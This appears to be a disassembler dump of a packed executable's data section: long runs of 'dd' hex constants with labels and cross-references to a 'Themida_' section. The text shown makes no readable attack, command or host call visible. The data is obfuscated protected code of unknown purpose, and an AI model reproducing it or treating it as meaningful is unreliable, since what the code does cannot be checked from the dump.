dd 5C241C87h, 52242C89h, 992677BAh, 81DAF726h, 1C3490F2h
dd 0C0F28141h, 813AA243h, 0BD5180EAh, 3481529Ch, 6B1DB624h
dd 0F7815F09h, 96B1DB6h, 4EC815Ah, 89000000h, 4832424h
dd 575D0424h, 6C4BB951h, 4C293713h, 8F590424h, 45810845h
dd 136C4B08h, 242C8B37h, 81E38953h, 4C3h, 4C38300h, 5C241C87h
dd 52243C8Bh, 0C281E289h, 4, 4C281h, 14870000h, 7CE95C24h
dd 8DFFF91Bh, 7FF8D30Fh, 0B875623Bh, 61B61FBh, 0E0FFC503h
dd 1915F1DDh, 111C0EBEh, 4F4BC774h, 78CBAABFh, 53836A7Ch
dd 2E2C260Bh, 62C403Ah, 458AB215h, 3823742Ch, 92385B8h
dd 7FCAF697h, 52698E10h, 787B0069h, 0BE75682h, 15E403Fh
dd 6EC03AACh, 733F48F5h, 7C320CF4h, 5242CAFEh, 0DA21A80Ah
dd 52898A4Eh, 0D5ABA80Ah, 536175EAh, 0DB2FA80Ah, 5DBA8A4Eh
dd 0DB8457AEh, 50518A4Eh, 0D5ABA80Ah, 501875EAh, 0D8CAA80Ah
dd 509A8A4Eh, 0D974A80Ah, 511C8A4Eh, 0D5ABA80Ah, 2F2575EAh
dd 313080D4h, 5DC00313h, 0A752B333h, 0B9211C90h, 29D12157h
dd 2F439176h, 313045D4h, 0A5C00313h, 0A752B332h, 0B920CF90h
dd 25D12157h, 2F439176h, 313134D4h, 0B1C00313h, 0A752B332h
dd 0B9207B90h, 31D12157h, 2F439176h, 31329DD4h, 0BDC00313h
dd 0A752B332h, 0B923F490h, 0DD12157h, 2F439176h, 313217D4h
dd 89C00313h, 0A752B332h, 0B9228A90h, 5D12157h, 2F439176h
dd 3133E9D4h, 91C00313h, 0A752B332h, 0B922F090h, 1DD12157h
dd 0C3439176h, 2A5012B8h, 4ECEDF15h, 4AA86CD2h, 0A2458AFDh
dd 0C0D5F251h, 0A45EE9F7h, 2AA8ED96h, 29458A15h, 0E367A024h
dd 0ADBAB496h, 2A54A1D5h, 64C6CB15h, 0D5BA4155h, 63CE75EAh
dd 6713AAEh, 42848C01h, 2211AB53h, 5D55FFEAh, 3AABA424h
dd 0C3B9CF9Ch, 0E3A8EDDAh, 0F74586D7h, 0EED744DAh, 0D7CEEAE9h
dd 26292359h, 0A2B9CFD2h, 6C54A851h, 0A24162ADh, 0EA660351h
dd 2FEE27BFh, 31117EDBh, 12947513h, 0A0D90201h, 0A45ECFC3h
dd 0A1EC79AEh, 941AE51h, 6F8222DCh, 73BA8C0Eh, 2ADF1037h
dd 28C82173h, 2C4FED87h, 2BFD5BEAh, 81508C15h, 0E7930098h
dd 0FBABAE4Ah, 89EFD2A5h, 57DDA42Ch, 0E7CEEBE9h, 229661ADh
dd 4ECEDF15h, 4AA86CD2h, 0A2458AFDh, 0C0D5F251h, 0A45EEEB7h
dd 0A15CDDDAh, 0E7828668h, 2A54A8ADh, 30BACC15h, 2C40893Ch
dd 69CE529Eh, 0B99783FCh, 31EFE2A5h, 0A0D9F9FAh, 0A45ECFC3h
dd 9A0D79AEh, 1A232094h, 81328C55h, 0DF6E2184h, 0D629215Dh
dd 5E000174h, 2A5C6A98h, 21A90140h, 0C2345495h, 0A2458A15h
dd 0D3BE290Bh, 29439171h, 57DFA024h, 5E004D19h, 2A54A851h
dd 0CFD77553h, 0A152BC70h, 69CE19CDh, 0B9979BFCh, 31EFE2A5h
dd 0A0D9F9FAh, 0A45ECFC3h, 9A0D79AEh, 1A232094h, 81328C65h
dd 0DF6E2184h, 0D629215Dh, 5E000174h, 2A5C6A98h, 21A90140h
dd 0A1345495h, 0DFCE8260h
dd 0D6116F5Dh, 0A2458A15h, 0C9953BFDh, 9197B91Dh, 0F2DE0491h
dd 0A2454A38h, 0D5A82851h, 0A25E0E1Ah, 23EDA851h, 55458A15h
dd 25862DA0h, 0A2458690h, 32A32851h, 0AA8E4B73h, 4C972337h
dd 0AE38A1BEh, 4BA8D5D8h, 6BB9CF9Eh, 7F54A093h, 66C6669Eh
dd 5FDFC8ADh, 0AE38011Dh, 2AA8ED96h, 0E458A15h, 22B769C2h
dd 62765826h, 78C22FDh, 0A2458AD5h, 25AB54D1h, 0A2459391h
dd 2A5D1151h, 53B28A15h, 0AF5B7AD4h, 0A2458A1Fh, 0E25610E0h
dd 91EF4B93h, 577F0391h, 5E380319h, 0D6112330h, 0A24D48DCh
dd 0A9B82304h, 292576D1h, 57DFA024h, 5E004D19h, 2A54A851h
dd 229D00B9h, 0E1D4A7B2h, 8860085h, 6F8222DCh, 73BA8C0Eh
dd 0A7FEF8E1h, 0B9005C9Fh, 0A0855757h, 0DF6E20D6h, 0D629215Dh
dd 5E000174h, 2A5C6A98h, 21A90140h, 0A1345495h, 0DFCE8260h
dd 0D6116F5Dh, 0A2458A15h, 2A54AFE9h, 87D77515h, 2652BC7Dh
dd 28C82045h, 2C4FED87h, 2BF55BEAh, 86949BFBh, 622E8531h
dd 8050AC59h, 89EFAEA5h, 57DDA42Ch, 0E7CEEBE9h, 229661ADh
dd 4ECEDF15h, 4AA86CD2h, 294DFF9Eh, 6F93A42Ch, 0A2458AE9h
dd 0D5FE0451h, 0B664E787h, 868C2357h, 2FEF4917h, 31117EDBh
dd 0C4947513h, 4CBD28E9h, 88600BEh, 0A358D57Ah, 29247668h
dd 0E89D5414h, 29108A1Dh, 0D6902BBDh, 0AA300175h, 0ED58D5DAh
dd 0A2457650h, 80F8A851h, 832818EAh, 0E2DFAE45h, 88558B9h
dd 6F8232DCh, 71BA8C0Eh, 0E3941037h, 63CF2173h, 262983FBh
dd 0C3B9F79Ch, 0E3A8EDDAh, 0F74582D7h, 0EED744DAh, 0D7CEEAE9h
dd 26292359h, 0A2B9CFD2h, 8654A851h, 0CFD775BFh, 0A152BC70h
dd 637726DDh, 0FCCE25FBh, 5D439150h, 0AAECCE82h, 28EEECE4h
dd 577F0290h, 5E380319h, 0D6112330h, 0A24D48DCh, 0A9B82304h
dd 292576D1h, 57DFA024h, 5E004D19h, 2A54A851h, 6B773273h
dd 0B0D90337h, 0A45ECFC3h, 92327BAEh, 9234B95h, 1FE04FDh
dd 0DFCC8668h, 6FDFC9ADh, 0AA8743E9h, 0C6DFFD51h, 0C2B94E96h
dd 0A15CDDDAh, 0E7828668h, 2A54A8ADh, 24FDEC15h, 0A7FFCEB8h
dd 0B9005C8Fh, 9A875757h, 0E0320A0h, 0FCCE25FBh, 5D439150h
dd 0ACECCE82h, 89EEECD8h, 57DDA42Ch, 0E7CEEBE9h, 229661ADh
dd 4ECEDF15h, 4AA86CD2h, 0A2458AFDh, 0C0D5F251h, 0A45EEDDFh
dd 2AA8ED96h, 29458A15h, 57DFA024h, 91792619h, 2A1E2C5Eh
dd 89798A15h, 2A162C5Eh, 0CA798A15h, 2A492C5Eh, 13798A15h
dd 2A382C5Eh, 0F2798A15h, 2A5C2A5Eh, 0FA798A15h, 2A6B2A5Eh
dd 0D6AC8A15h, 0D554A851h, 0D7BA8660h, 0D5CE2559h, 0F1439177h
dd 498232DCh, 71BA8C0Eh, 0C3A8EDD8h, 0A2458A42h, 0D558DDAEh
dd 38C88260h, 2C4FCB5Eh, 74DF0746h, 0D552B332h, 5E0003C6h
dd 2A5492B8h, 0AE307515h, 0A75CDDAEh, 0B926918Fh, 0B0D9FB57h
dd 0A45EE9C3h, 6FDD7BAEh, 0A25863E9h, 5FABA851h, 0AA307519h
dd 497332DCh, 2F168C0Eh, 31377ECBh, 2B967513h, 2ABD5414h
dd 0C3458A15h, 0E3A8EDDAh, 0BA4582D7h, 3044h, 24E9h, 4272AA00h
dd 15h, 7 dup(0)
dd 0D20E900h, 0BC680000h, 0E9061B6Ah, 0FFF91553h, 1B6B9C68h
dd 1549E906h, 5868FFF9h, 0E9061B6Ch, 0FFF9153Fh, 1B6CF568h
dd 1535E906h, 5868FFF9h, 0E9061B70h, 0FFF9152Bh, 1B733668h
dd 1521E906h, 1D68FFF9h, 0E9061B74h, 0FFF91517h, 0ACFEC11Bh
dd 67B904CFh, 2173488Ah, 0D6289144h, 8DDFDEF9h, 8B4C6454h
dd 0CE03E032h, 1CBC99EBh, 627451A3h, 73FB0759h, 0D51876Dh
dd 39A09B58h, 4248C512h, 51F1E85Ch, 68B04870h, 507F3A9Bh
dd 0C0FFD9E6h, 82A5A178h, 0A88A1884h, 1F8D6979h, 61BD80B0h
dd 0CA190048h, 468FE62Eh, 7EC65E1Bh, 0EB9726B1h, 585E6493h
dd 57E6CE29h, 0A5EB97BFh, 5806CEC3h, 0F5EEACCEh, 0F8D90670h
dd 2F8Eh, 4A17A500h, 0F6002F8Ch, 8A90D888h, 57E50A8Fh
dd 804D95BDh, 0CC366556h, 60AA486h, 0CD9AF58h, 6FC1F0C9h
dd 0CEADB8D3h, 751F8D9h, 68000000h, 87B11h, 0C4126800h
dd 1AE7AFF7h, 0FF5703B8h, 0F1E79379h, 507FA751h, 0BEFDD9E6h
dd 0BF22906Ch, 0DAE16B00h, 86CE66F4h, 0E60CED80h, 0C202D957h
dd 0B7091FBCh, 0BCE46897h, 55E8CA10h, 0D1F35807h, 7F4B1AB1h
dd 2AB3F8D8h, 0CA000000h, 0B1F9A513h, 0E502E8ABh, 0E28EB657h
dd 260C12DAh, 3A580603h, 0BD9FE312h, 0C8580602h, 76EFE4A6h
dd 88F8D9D6h, 0C8h, 47C4129Fh, 0F1E85B41h, 46926F51h, 9D49E179h
dd 0C0C64790h, 51F1E7DAh, 822EC6EEh, 125A6175h, 822E8D45h
dd 8491FB2Ah, 1176952h, 51F1ED3Fh, 17695284h, 686A9C3Ah
dd 30FBB53h, 0D9A1E995h, 3B41CA0Ch, 51F1ED55h, 0FDA94169h
dd 0F73276A5h, 0A557E506h, 0E14F2B7Dh, 0A928F53Dh, 0AC0FC310h
dd 4571777Dh, 0D55DFADEh, 0E18E65ADh, 2EA64206h, 5CDD302h
dd 0F7616A2Eh, 3B6A014Ah, 0C416A730h, 0EFCDF0E7h, 38957DE4h
dd 68BFCDB7h, 0CE00000Ah, 825FB10Eh, 3D1A6C51h, 0F7D42695h
dd 0AC89DBDEh, 740922Bh, 0E5D8FFB1h, 9E1BB693h, 56696F4Ch
dd 0CAF2704h, 2026AEBAh, 580D523Ah, 12EC534Eh, 0C9A6F8C5h
dd 0A35CAE0Dh, 0B1F9A513h, 0E502E8ABh, 0E28EB657h, 602BA9Ch
dd 0E7A3C558h, 0D9D679ECh, 0C285F8h, 129C0000h, 434BF7C4h
dd 0E78F757Bh, 7BA351F1h, 0E817A42Eh, 0D13FADDh, 51F1E827h
dd 0A4C0543Bh, 57C249A1h, 737B27BFh, 0E28E2BA6h, 55175B8Ah
dd 9A51F20Eh, 502D7F3Ch, 20ED3586h, 70DA09B2h, 24AF664h
dd 666CA335h, 51F20E80h, 0A5D46C94h, 275E999Fh, 250C57E5h
dd 0A22F70CCh, 0BC136B17h, 0A1392DF9h, 5905734Fh, 557C4911h
dd 3160B864h, 0FAC8D2EDh, 0D018405Dh, 97E9D403h, 0C2A01DBAh
dd 38959A1Bh, 889CAA94h, 0AE000009h, 623F912Eh, 1DFA4C71h
dd 0D7B406B5h, 8C69BBFEh, 0E720724Bh, 0C5F8DFD1h, 7E3B9673h
dd 36894F2Ch, 0ECCF07E4h, 68E9Ah, 580D531Ah, 12CC332Eh
dd 0C9A6F8C5h, 0A35CAE0Dh, 0AFF7C412h, 0E7FBE1E7h, 370F51F1h
dd 0F1E84B31h, 9F375F51h, 0E86B5157h, 577F51F1h, 25B1BE28h
dd 60774E96h, 0D63C8152h, 2F4D5D8Ch, 23CB39C8h, 128AD5DBh
dd 305857E5h, 0E2A2798Fh, 0E3E53F4Fh, 7C80C3Bh, 4F01C87Bh
dd 98465F78h, 0FA299489h, 96DE82F0h, 0BE76DD90h, 0B7638B07h
dd 49913DABh, 0D3F77643h, 0D820480Dh, 0C6F5C80Bh, 23E3F3C0h
dd 1E7008B3h, 48269541h, 88BB4C9Fh, 0CC2C3A24h, 6A000008h
dd 1EFB4D72h, 0D9B608B5h, 9370C2F9h, 48257742h, 0A3DC2E8Fh
dd 813C9B15h, 3A7F522Fh, 0F2CD0BE8h, 0A813C3A0h, 0BCC24A56h
dd 580D53D6h, 1788EFEAh, 1308D4Ah, 93DBE0F6h, 0A0B69BCh
dd 71A0E700h, 0E18DFB07h, 6B1C9399h, 2A5257E6h, 884D1AE2h
dd 0E1F70231h, 29AF8CDEh, 0BEA4EA96h, 12580669h, 58059A30h
dd 509848B6h, 0C16D5083h, 2E343A69h, 5DF99F43h, 757D2951h
dd 0DAC4739Eh, 0BC14C0FDh, 0EAB30665h, 1A59FEE4h, 52EA125Eh
dd 0FDBE1823h, 97E9D21Fh, 0D1B0538h, 82Fh, 98EAD507h, 53A518BBh
dd 0D5F5C76h, 0C214A530h, 79CBF2E5h, 9F387840h, 0E2EFCC1Eh
dd 30A885D7h, 76603D8Fh, 5FE7F345h, 0D547359h, 258C8758h
dd 0B1F9A513h, 0E50CC0ABh, 0FAA6CE57h, 85D7E6EDh, 0C4F5E0ADh
dd 2CEBB56Dh, 2FAE8Fh, 33DFDEF5h, 0C70FBF27h, 66493C1h
dd 0B7FF2758h, 27D3E8EAh, 0E136A0CFh, 0EAE9033Fh, 0A5B48BD3h
dd 0E16F46C6h, 6E8494C3h, 5806268Ch, 0B2FAAA12h, 62592ACh
dd 8ED6FE58h, 25DAC0C6h, 0C6EE5806h, 0E7AF8797h, 625FBE1h
dd 9AE70F58h, 7BD37F3Ch, 2B92414Ch, 0A9AF777Fh, 580625C3h
dd 0E3D8FAD7h, 1847DF37h, 626EAD4h, 0A0686F58h, 81D98536h
dd 0A2303DE9h, 93F76D19h, 239A3DF7h, 0F2871F77h, 0D9FA3250h
dd 1EB592E4h, 39D1EEEAh, 2715478Dh, 50F25806h, 0E4D9FA32h
dd 0CA07D49Ch, 65EB43EFh, 5806287Fh, 2C3C6B93h, 5583E850h
dd 0C28AD26Ah, 1AE63BEBh, 0CFFE8CE2h, 64AA88Bh, 0E28EB658h
dd 260C12DAh, 3A58064Bh, 0AF47765Dh, 0AEE13C80h, 0ACCE2A24h
dd 0C6935BEEh, 3F25AB10h, 53CC67B0h, 0D590FC2Bh, 29847825h
dd 180h, 0F9A51340h, 0C50ABB1h, 573E57E5h, 95A5D6CCh, 4B932B5Ah
dd 1163587Eh, 6369A234h, 58068E7Dh, 25D16991h, 4B589BDFh
dd 96637BDFh, 76CE7A3Fh, 9F55F547h, 55328437h, 828E3A81h
dd 3B186A1Ah, 0D71F9Ah, 21B2445Fh, 4198F09Ch, 2C5B5FCDh
dd 0CE3BAC2h, 0C03DDDECh, 4D8994C3h, 77441C6Eh, 5BB35F5Ah
dd 4AF6C30Eh, 1EB8C3F2h, 1CE9F19Dh, 92D605B6h, 0AFD5DCDEh
dd 0E4183A9Eh, 2D1319F2h, 4151D7BCh, 522F8119h, 7F8B3784h
dd 0EB20B217h, 0D7BBFFE5h, 53EB1351h, 876D73BBh, 9B51D7BCh
dd 0F8A419BEh, 0D9B608A0h, 0F0CD0AFEh, 38A0AC58h, 0FFFE62C9h
dd 9F37CA69h, 6F4C8A57h, 0FF26ACC3h, 11B6B307h, 3E444A79h
dd 51D75544h, 19F64870h, 4552FEBDh, 2A7F2B92h, 0A432CA88h
dd 557B6167h, 0B28F51D7h, 97EF9B20h, 381567FFh, 0B785E9Eh
dd 91DB3749h, 31E3B03Ah, 0B74F60D1h, 0E797FF0Bh, 669B999Fh
dd 0A7CF51D7h, 0A85E7855h, 48F48C2Dh, 76229D3Bh, 0A34F6E69h
dd 0CE7A3F96h, 1594B69Ah, 45FF9BBFh, 15E22A91h, 0BECEFDBCh
dd 1AC6F5E1h, 0AEF6A60Eh, 0D766B6A8h, 68BAE251h, 0C6724D8Bh
dd 88D8E7BEh, 4289E6B9h, 3CA10913h, 0FED72495h, 0EDB23BBh
dd 0C3C9F8C5h, 16A32EFBh, 9FE3126Ah, 51D74EA9h, 0A78D935Bh
dd 0BB51D74Eh, 0B8E06493h, 9F079970h, 28D4E5ECh, 4DC79D0h
dd 0E49DADDCh, 9542C412h, 0D7247C28h, 0BC14C0FBh, 88F6D224h
dd 0C2C890D8h, 51F1E7DCh, 9399C8F0h, 0E6D3FECBh, 0E89073B7h
dd 769E57E5h, 989E662Eh, 5805E8B2h, 7A26993Fh, 5345C22h
dd 8FE1DEFAh, 519926B2h, 0C26E4F84h, 19920B5h, 0EE5C68D2h
dd 7DF4FA42h, 0B35DF9EAh, 6076438Bh, 0F2C70E5Bh, 55BFEE46h
dd 191A2D0Fh, 78E0B75Eh, 60A149AEh, 58C6D0FFh, 439360A8h
dd 3D434978h, 640DCC52h, 0CDE307DEh, 0FB58AF02h, 6A7048CCh
dd 642E9F84h, 90D87098h, 4CD65B9h, 5DAAF01Ah, 0AA14437Ah
dd 0A482399Dh, 32844C57h, 0CC9CAA94h, 6A000004h, 1EFB4D72h
dd 0D9B608B5h, 9370C2F9h, 48257742h, 0A3DC2E8Fh, 813C9B15h
dd 3A7F522Fh, 0F2CD0BE8h, 0A813C3A0h, 0BCC24A56h, 580D57D6h
dd 1388EFEAh, 0E9B1F9A5h, 3C7D5421h, 0F1E7D0B6h, 8DBCE451h
dd 0E51B8A49h, 6C184057h, 5FB4326h, 0AD7A5058h, 0C7F2DF2Bh
dd 0ECAE002Fh, 7A43905Dh, 0DA86DF4Bh, 0D778F8D9h
dd 8F000000h, 0F1E7C7D9h, 0C5ABB151h, 0D951F1E7h, 754019B1h
dd 2C085A61h, 0C1C70FBFh, 51F1E7C3h, 7A3C9E75h, 4CF8C30Fh
dd 0D0949DF4h, 7790767Ch, 7CA451F2h, 931B5E4h, 8086505Dh
dd 65BD6952h, 19B885CDh, 6D9CF4A0h, 0BE14815Dh, 0F277D2B8h
dd 71BEE651h, 55AD5960h, 8F9E75BDh, 46735E5Fh, 0E72D04EFh
dd 0CC24D0EBh, 0F9FF0534h, 51F2DBFBh, 6B51572Fh, 0FD51F2DCh
dd 0F2DC11F7h, 37FD2551h, 0DC73595Fh, 5F8751F2h, 76832FC7h
dd 2D095B60h, 45745DC0h, 75468C99h, 41D971C9h, 452B31F9h
dd 0C851F2DCh, 9C1AC379h, 2E561CB7h, 0F1F3F9FFh, 3D51F239h
dd 0B24A7360h, 79DEC006h, 791B51F1h, 48B724D9h, 3B6B308Ah
dd 0F941D994h, 0F23BF1F3h, 0C3153D51h, 0A3E5h, 0A5133C00h
dd 0C0ABB1F9h, 0CE57E50Ch, 0E4EDFAA6h, 3DA783D5h, 49434991h
dd 7558060Dh, 7A5BA14Dh, 8358060Dh, 0BBAA2161h, 43F8D9C8h
dd 74h, 0FDA9135Ah, 0CCEDE8B5h, 0AB91979Dh, 0BF51F1E7h
dd 1ECAEFE2h, 75822EC6h, 48155D5Ch, 0DEE42C8Dh, 51F1E7F8h
dd 0A5B5E40Ch, 67AF5FC9h, 0F1E82F61h, 6BB3DB51h, 0E8B79DA3h
dd 0A3CB51F1h, 8F3B8056h, 589E0837h, 51F12976h, 0C07111B3h
dd 0AE23E3F3h, 6F075F0Bh, 323C6BC3h, 0CAD018C8h, 51F22898h
dd 2DDCF5C2h, 0F2294127h, 952D5551h, 0CC05E266h, 4A0355EDh
dd 4BF7C412h, 0D123983Eh, 8FD787F5h, 0E538F689h, 0BC15E257h
dd 0EEC1153Eh, 0F8900D10h, 41C5F44Ch, 45276D19h, 505806D2h
dd 0EE776C2Eh, 10F8D903h, 53h, 209B3B08h, 80666C74h, 945806DAh
dd 0BEA5D46Ch, 0B1F9A513h, 9B09F1E4h, 7A3976DCh, 0ACB2E179h
dd 0E56BE3A6h, 76622F57h, 6E961A49h, 6B9A7CC2h, 0B81F5806h
dd 8B4C5905h, 0E26F8632h, 0DB5F034Dh, 1436D86Dh, 0EEACCE95h
dd 0D9B970F5h, 0C38EF8h, 12A50000h, 3E4BF7C4h, 886E7499h
dd 9C51F1E8h, 2330DC74h, 4F5C08B3h, 15EC3487h, 3454B79Dh
dd 7585B4B2h, 0F25E9D5Fh, 0C7F4E251h, 7D3E9875h, 0F1F2C9D1h
dd 0B91AF23Ah, 0DF4D5786h, 0C8605D7Ah, 9A25B380h, 474AA643h
dd 6D9C3F04h, 0BBE6167h, 244C57E6h, 0D888F6D2h, 0C3078A90h
dd 78555DFBh, 5BB35F60h, 29AE7BC3h, 72654294h, 0A1986D4Bh
dd 7D673894h, 1EE6Fh, 2B944800h, 0E6D7FCD9h, 0A01BB794h
dd 5564714Eh, 0CB12603h, 793781BAh, 300D5F5Eh, 0E9C618A1h
dd 0A17ED0EFh, 28348635h, 5AB49AA0h, 0CDC8580Dh, 43C51266h
dd 647B2792h, 773AB769h, 0C41BB396h, 2A73C792h, 90E27AB4h
dword_5BFF5C dd 469823B3h, 0F9A5138Dh, 2E8ABB1h, 8EB657E5h, 2BA9CE2h
; DATA XREF: Themida_:0054B19Co
dd 0A3C55806h, 0D679ECE7h, 0BB85F8D9h, 9C000000h, 32874A17h
dd 99D72E86h, 37DB5818h, 0B5212C5Bh, 8A4D5A06h, 1D23EB33h
dd 51F29037h, 8AF4234Bh, 0F2958244h, 0AC0FC751h, 62597D5Ah
dd 0F6E1AEB6h, 208E98C7h, 75512870h, 0B96634E3h, 28D38807h
dd 473AD9D1h, 690C1218h, 0F757E62Fh, 33A17DCFh, 193D438Bh
dd 0A95DFBE3h, 5510BEC2h, 378F3B82h, 0DF7547E0h, 0E1794692h
dd 0B20BCC99h, 69548360h, 9510848Bh, 97A58F38h, 107h, 0C012AD2Fh
dd 7BCDF0E3h, 3587349Eh, 0EA3C7D58h, 0A1F3CA0Dh, 77605068h
dd 0BA17F446h, 8D0ADFFh, 4E8865B7h, 870F1B6Dh
dword_5C0024 dd 0D5B9B81h, 4DB4AF58h, 0A6F8C512h, 66AE0DC9h, 4F7E3D99h
; DATA XREF: ___:004327ECo
dd 0C412863Fh, 7B434BF7h, 0F1E78F75h, 5B61C51h, 133B0159h
dd 0BEFDD9E4h, 10C7946Ch, 0DEA105EEh, 0DC7434ECh
dword_5C005C dd 8935A3ADh, 5D5E7441h, 242A59B1h, 0EA85921Eh, 81896057h
; DATA XREF: ___:off_432940o
dd 551860D3h, 0CDF579A8h, 0F9C21421h, 0AF0CCAA7h, 8145BD03h
dd 0F2E64B44h, 0C11421CDh, 12364CF8h, 0A019BC70h, 0ACEE5208h
dd 0B607D09Dh, 615A7C87h, 17A4320Fh, 4196636Bh, 93424D7Ch
dd 0CF257A26h, 9D35CF02h, 82DA861Eh, 0B0410153h, 9DF5DCD9h
dd 1C4BAAB5h, 0A4F6C511h, 2AED0FC7h, 0DAC0C6EDh, 0EE6B6669h
dd 899A6FC6h, 0B8C6720Ah, 23h, 3C2228F0h, 506B663Fh, 1712F928h
dd 0E863494Fh, 4F7751F1h, 8A61E720h, 2BACB041h, 0DE893B92h
dd 1211F827h, 3C49F5CAh, 6875219Ah, 96A34F70h, 0C5D27E3Bh
dd 0F2FFAB12h, 1F2CD8E5h, 4A5703B6h, 7A873388h, 33B86459h
dd 151868h, 24248900h, 4BE56h, 74010000h, 515E0424h, 0C181E189h
dd 4, 8704E983h, 895C240Ch, 0F368243Ch, 8900002Bh, 5D68241Ch
dd 8900006Eh, 31BB241Ch, 4309254Ch, 8105EBC1h, 0E14420E3h
dd 7EBC12Dh, 0C381DBF7h, 61BEB09h, 545BDF89h, 81241C8Bh
dd 4C4h, 81575100h, 47BB242Ch, 81590CD9h, 0D947BBC1h, 84B890Ch
dd 241C8B59h, 81E28952h, 4C2h, 4C28100h, 87000000h, 0FF5C2414h
dd 835F2434h, 44E904C4h, 8FFFF908h, 174D811Bh, 49B8BF3Eh
dd 3061B75h, 0F3E0FFC5h, 8166D5E9h, 0F516F3B3h, 0B737B5E9h
dd 3B21204Fh, 7A4652C5h, 0BC70BC70h, 9C7B80DBh, 2A353071h
dd 0D64F01A7h, 2030EA1h, 0E8257BF9h, 0EF5E5C17h, 5E72561Eh
dd 731094F8h, 0B443FCE0h, 0E8232006h, 12h, 83FCB650h, 44F0FDF4h
dd 0F099AD4Ch, 19B938E0h, 0F56090AAh, 0A20318BEh, 0F596175h
dd 38Ch, 0C18B6600h, 0D950C181h, 6E90000h, 96000000h, 5EB8BDC7h
dd 98B1BBC6h, 0C38137A7h, 0C8589D71h, 66118BF5h, 817A67BEh
dd 6A82AEF2h, 3EEA8145h, 0E90C95BDh, 0Bh, 0BA74FB3Bh, 0BE2D0DF6h
dd 81FE0244h, 854370EAh, 0D9DF8119h, 896D0748h, 0F0C88111h
dd 8172D8E4h, 2B9736E9h, 32C18107h, 0F072B97h, 382h, 0FEB70F00h
dd 1EB81h, 850F0000h, 12h, 0E9C2BF0Fh, 2Ch, 99583B8Dh
dd 0B437BFF5h, 11E90DBEh, 88000000h, 0F509CA2h, 0ACD17B7Ch
dd 4BDDAC07h, 68618B02h, 0FFFF7CE9h, 0B2F0DBFFh, 739B10Dh
dd 0FE8h, 0B57AEA00h, 0FB9CBBEAh, 0A35C5CE7h, 76C22E1h
dd 1850Fh, 58F50000h, 0A3EDD3BFh, 22C08117h, 68000075h
dd 1D16h, 6FC98166h, 0BA665E4Dh, 188B7C6Ah, 7E9h, 0A9F79400h
dd 9C793D40h, 0EF12C381h, 0F3814178h, 2488200Fh, 0DE9h
dd 3DCCA00h, 41529E27h, 27DB03Dh, 0C381C5BDh, 3503282Eh
dd 0A9CBF781h, 66537F0Dh, 8FC88ABAh, 14E900h, 71970000h
dd 527555DAh, 4EE7CD66h, 3C17CB31h, 6CFB93D8h, 0E883D10Eh
dd 0AE904h, 1CE60000h, 0BEB1F805h, 0C7C806E0h, 0F01EE83h
dd 1385h, 0FFC6000h, 0E961C6BFh, 1Fh, 621D7F0Ah, 0AB070137h
dd 0E96BF280h, 0FFFFFF72h, 5AB7DE6Dh, 1300772Ch, 81BDA6ADh
dd 0E8F73E9Fh, 0Bh, 0AF032449h, 0E0A3CDEAh, 0F0358B5h
dd 8B5ADBBFh, 92C281FBh, 66000064h, 0B99EFCBBh, 0
dd 40D78166h, 1134FF3Fh, 0E858FB8Bh, 7, 79CACFE8h, 812EB203h
dd 21A1CACBh, 0C0815E7Dh, 33F090CDh, 938EE81h, 0E88160ACh
dd 6DB4A525h, 7E9h, 0DF7E0F00h, 0ADC1230Ah, 53DBE881h
dd 0A9BB16CBh, 507A071Dh, 0F797BF66h, 0BB0A048Fh, 3F985608h
dd 81DA8B66h, 0D134B7E9h, 0B70F602Fh, 0F28B66DEh, 0B3C18161h
dd 572FD134h, 0EE9h, 26999B00h, 5BC075B3h, 0A8F78D59h
dd 5EA71312h, 9C1CF981h, 850FFFFFh, 0FFFFFF79h, 4134C681h
dd 0ECE91366h, 0
dd 37000000h, 0EB77E7ACh, 4977E75Ch, 1F77E73Ch, 77F7E2h
dd 77F7E3h, 277E600h, 5 dup(0)
dd 0FD000000h, 77E7A5h, 2Bh dup(0)
dd 6000000h, 2C000000h, 22322E27h, 491611EFh, 88389B69h
dd 41DB1566h, 38321566h, 152A04BEh, 0B883A8E5h, 31321372h
dd 0C38F966Fh, 1134017Ch, 0DB620C12h, 558AD5EDh, 0AB321562h
dd 5285CE3h, 0B2AF9860h, 0BB3403D1h, 0A16A4EB5h, 528F4DBh
dd 9F461560h, 558A4636h, 0AB321562h, 5285CE3h, 0A1AF9860h
dd 0BB3403D2h, 426A4EB5h, 9C3DCDEDh, 88321565h, 25F9FDE6h
dd 39887306h, 9A54469Dh, 0D8534FBFh, 0C51611EDh, 223211A2h
dd 9D3D7566h, 88321565h, 0ADF5AA69h, 22321574h, 44B7759Ah
dd 51D1F870h, 0B44D9211h, 0EBFF1DB0h, 0ED530464h, 0F09AA8E5h
dd 4B32137Dh, 22325EE2h, 0C8B97566h, 0E9C8A269h, 0E7690EBh
dd 0A952137Dh, 88B739Eh, 58CD7480h, 4432078Fh, 0ED2FEF66h
dd 7EE9AA4Fh, 0A56A4ADCh, 3C487A7Dh, 0AF987B2Ch, 0A7861E3h
dd 58CDEC60h, 44321A8Fh, 49EAF66h, 1C387C4Eh, 86E2591Fh
dd 7698A6CBh, 386B90A0h, 0E4641372h, 208A470Eh, 0F1CDEDFAh
dd 24260FB7h, 0CAB7989Fh, 0E83402E6h, 44349269h, 0AF3D1566h
dd 11321566h, 87534F36h, 443212E0h, 23B71A66h, 0E4321566h
dd 8FDBC599h, 36321566h, 0A780EDD6h, 94BB6089h, 8E2631CFh
dd 44339669h, 0E5CA1566h, 53640E3h, 88321560h, 45B71A66h
dd 0DA321566h, 11321A8Fh, 2F1C4C66h, 4CF86916h, 0AD6B6857h
dd 5951497Ah, 926B90A0h, 0B1771372h, 505B7C0Eh, 0BBB1AE8h
dd 0E8321566h, 4432188Fh, 0A28BF466h, 4B57D672h, 8E98AAD4h
dd 0CF3DA6D4h, 22321566h, 5487EA07h, 87340177h, 443213E6h
dd 98547566h, 9C535A95h, 9C0906E3h, 0ADB37560h, 48FAD859h
dd 11309569h, 0E9521566h, 0BCE2EA07h, 7B390EFh, 0D7CA1372h
dd 9C284CE3h, 4ADB5660h, 0FB321566h, 6812641Bh, 736A28BFh
dd 0C7202DD5h, 496C7D54h, 0E8CA8901h, 9977A099h, 0C03D1372h
dd 2232157Fh, 1132018Fh, 22217266h, 4C447874h, 0CEA4B10Bh
dd 378DCB83h, 85BA28EFh, 57B79819h, 2D34015Dh, 113214E7h
dd 58CDE966h, 4437FC06h, 3C7A1566h, 0F9088B99h, 88321576h
dd 0D13A1BE3h, 8099225h, 0D811877Dh, 50FD536Eh, 0C1BB743Ch
